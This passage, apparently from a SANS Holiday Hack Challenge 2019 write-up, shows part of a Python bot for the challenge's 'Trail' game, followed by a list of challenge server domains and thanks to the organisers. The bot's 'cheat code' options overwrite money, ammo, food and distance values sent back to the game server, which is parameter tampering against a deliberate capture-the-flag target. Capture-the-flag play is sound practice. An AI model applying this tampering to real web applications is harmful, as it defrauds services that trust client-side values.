    if (post_response.text.find('>Ferry<')>0) and (post_response.text.find('>Ford<')>0) and (post_response.text.find('>Caulk<')>0):
        if int(money) >= min_ferry_threshold:
            choice = 0 # If you have sufficient money, then Ferry as safest option
        else:
            choice = random.randint(1,2) # Don't allow Ferry as an option if not enough money
        action = str(river[choice])
        print ("RIVER CROSSING CHOICE - You choose to: [" + action.capitalize() + "]")
        crossing_river = True
    else:
        action = "go"

    distance = str(status_container[5])
    curmonth = str(status_container[7])
    curday = str(status_container[9])
    name0 = str(status_container[11])
    name1 = str(status_container[23])
    name2 = str(status_container[35])
    name3 = str(status_container[47])
    reindeer = str(status_container[59])
    runners = str(status_container[61])
    ammo = str(status_container[63])
    meds = str(status_container[65])
    food = str(status_container[67])
    hash = str(status_container[69])

    if not args.invulnerability:
        health0 = str(status_container[13])
        cond0 = str(status_container[15])
        cause0 = str(status_container[17])
        deathday0 = str(status_container[19])
        deathmonth0 = str(status_container[21])
        health1 = str(status_container[25])
        cond1 = str(status_container[27])
        cause1 = str(status_container[29])
        deathday1 = str(status_container[31])
        deathmonth1 = str(status_container[33])
        health2 = str(status_container[37])
        cond2 = str(status_container[39])
        cause2 = str(status_container[41])
        deathday2 = str(status_container[43])
        deathmonth2 = str(status_container[45])
        health3 = str(status_container[49])
        cond3 = str(status_container[51])
        cause3 = str(status_container[53])
        deathday3 = str(status_container[55])
        deathmonth3 = str(status_container[57])

```

```

if int(difficulty)<2:
    if args.lightspeed:
        lightspeed = random.randint(500,1000)
        distance = status_container[5] = str(int(distance)+lightspeed)
        if args.debug:
            print ("CHEAT CODE - TRAVELING LIGHTSPEED!!!... Distance Jump:[" +str(lightspeed)+"]")
    if args.maxammo:
        ammo = status_container[63] = "999"
        if args.debug:
            print ("CHEAT CODE - MAX AMMO!!!...:[" +str(maxammo)+"]")
    if args.maxmeds:
        meds = status_container[65] = "999"
        if args.debug:
            print ("CHEAT CODE - MAX MEDS!!!...:[" +str(maxmeds)+"]")
    if args.maxfood:
        food = status_container[67] = "9999"
        if args.debug:
            print ("CHEAT CODE - MAX FOOD!!!...:[" +str(maxfood)+"]")
    if args.maxreindeer:
        reindeer = status_container[59] = "99"
        if args.debug:
            print ("CHEAT CODE - MAX REINDEER!!!...:[" +str(maxreindeer)+"]")
    if args.maxrunners:
        runners = status_container[61] = "99"
        if args.debug:
            print ("CHEAT CODE - MAX RUNNERS!!!...:[" +str(maxrunners)+"]")
    if args.maxmoney:
        money = status_container[3] = "99999"
        if args.debug:
            print ("CHEAT CODE - MAX MONEY!!!...:[" +str(maxmoney)+"]")

# =====
# Extremely simple AI
# =====
tradeFor = ""
if not crossing_river:
    (action,pace,tradeFor) = next_action_logic(status_container,action,pace)

# =====
# Print Status
# =====
print_status(status_container,status_messages,action,pace_names[int(pace)],tradeFor)

returned_cookie = post_response.cookies['trail-mix-cookie']
party_progress_data = get_party_progress(post_response.text).split('|')

if args.debug:
    print ("Party Progress Data: [" +str(party_progress_data)+"]")

del trail_list[:]

sys.exit(0)

```

Arcade for Hacking!

Game Servers

2019 ,kringlecon ,com
crate ,elfu ,org
docker2019 ,kringlecon ,com
downloads ,elfu ,org
elfscrow ,elfu ,org
elfu-soc ,s3 ,amazonaws ,com
elfu-soc ,s3-website-us-east-1 ,amazonaws ,com
fridosleigh ,com
graylog ,elfu ,org
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splunk ,elfu ,org
srf ,elfu ,org
studentportal ,elfu ,org
thisisit ,elfu ,org
trail ,elfu ,org
www ,holidayhackchallenge ,com

Had a Blast!

Thank You Counter Hack Challenges and SANS

I want to thank Ed Skoudis, Josh Wright and the whole Counter Hack and SANS team for another amazing Holiday Hack Challenge. I had a ton of fun playing and it was like getting my video gaming, console gaming, 80's music and movies and hacking fun all rolled into one! Thanks so much for your hard work and dedication to creating these incredible challenges each year.

Loved it and if I'm not away travelling for Christmas and the holidays next year, I will definitely be there for KringleCon 3!



Image credits: Merggy